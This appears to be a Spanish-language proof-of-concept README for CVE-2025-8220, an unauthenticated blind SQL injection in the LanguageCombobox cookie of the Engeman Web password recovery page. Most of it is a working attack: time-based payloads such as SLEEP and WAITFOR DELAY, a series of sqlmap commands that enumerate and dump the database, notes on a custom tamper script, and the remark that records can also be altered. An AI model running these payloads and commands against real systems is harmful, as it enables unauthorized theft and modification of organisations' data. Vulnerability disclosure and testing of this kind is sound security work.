
Prueba de concepto para la explotación de la vulnerabilidad descrita en CVE-2025-8220, que se refiere a la posibilidad de inyección SQL durante la carga de la página de recuperación de contraseña en el software Engeman Web.
Prueba de concepto para la explotación de la vulnerabilidad descrita en CVE-2025-8220, que se refiere a la posibilidad de inyección SQL durante la carga de la página de recuperación de contraseña en el software Engeman Web.
Se encontró una vulnerabilidad en el software Engeman Web que permite la manipulación de la consulta SQL realizada durante la carga de la página de recuperación de contraseña. Esta vulnerabilidad puede ser explotada por visitantes sin acceso a credenciales válidas, es decir, de forma no autenticada, para comprometer la confidencialidad y la integridad de los datos almacenados en la base de datos de la aplicación, así como potencialmente causar una denegación de servicio a nivel de componente al alterar valores en tablas críticas.
Después de acceder a la aplicación y ser redirigido a la página de inicio de sesión, haga clic en el botón para ser redirigido a la página de recuperación de contraseña.


Revise la solicitud realizada por el navegador para cargar la página de recuperación de contraseña. Notará que hay algunas cookies presentes, incluida la cookie LanguageCombobox, que se almacena durante el acceso inicial. En esta demostración se utilizó el software Burp Suite para ver y reenviar las solicitudes del navegador de manera más eficiente.

Para confirmar la vulnerabilidad, inserte una comilla simple como valor de la cookie mencionada y reenvíe la solicitud. En la respuesta de la aplicación debería mostrarse un error que indique una comilla sin cerrar.

Los resultados de la consulta no se muestran directamente en la página devuelta, lo que convierte esto en una explotación ciega. Puede insertar payloads como ' AND SLEEP(30)-- - o '; WAITFOR DELAY '0:0:30'-- para inferir la base de datos subyacente.

Una vez confirmada la inyección, se puede utilizar una herramienta automatizada como sqlmap para volcar la base de datos.
Es importante tener en cuenta que el argumento --technique debe incluir el valor SEB para que se utilicen técnicas basadas en consultas apiladas, errores, y comparaciones booleanas. Primero, porque es necesaria una explotación ciega, y segundo, porque omitir la opción S del valor del argumento hizo que sqlmap no pudiera encontrar el punto de inyección en bases de datos SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

A través del punto de inyección se identificarán diferentes técnicas de explotación posibles. Después de eso, se puede recuperar la información de la base de datos.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Para volcar los registros de las tablas usando sqlmap, es necesario utilizar un script tamper personalizado (al menos para bases de datos SQL Server) que se llama replace-dbo.py en este repositorio. La razón es que los payloads de sqlmap que utilizan el formato <database>.dbo.<table> para referenciar el objeto de la tabla entran en conflicto con el procesamiento de la aplicación. El tamper mencionado lo convierte únicamente al formato <database>.<table>. Si la instancia de Engeman Web utiliza MySQL u otra base de datos, este tamper no será necesario, o se deberá crear otro.


Recuerde que la herramienta sqlmap requiere que exista un archivo vacío llamado init.py en el directorio donde se encuentra el script tamper para poder usarlo, si no lo ha colocado en el directorio tamper predeterminado de su instalación.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
Este tamper causará conflictos si se utiliza en cualquier etapa del proceso distinta del volcado de una tabla específica. Por lo tanto, no lo utilice para obtener las bases de datos (--dbs), las tablas (--tables), las columnas (--columns) ni información adicional como el usuario de la base de datos (--current-user).
Dado que el usuario que utiliza la aplicación para interactuar con la base de datos tiene privilegios elevados dentro del contexto de los registros del sistema, también es posible manipular la consulta subyacente para alterar los valores de los registros de las tablas (esto es mucho más fácil si la instancia utiliza SQL Server como base de datos subyacente).



Mediante esta vulnerabilidad, cualquier instancia del sistema sería susceptible a la recuperación no autorizada y posible modificación de los datos presentes en la base de datos en uso.
Esta vulnerabilidad se confirmó en versiones hasta 12.0.0.1, pero es probable que una versión más reciente también sea vulnerable.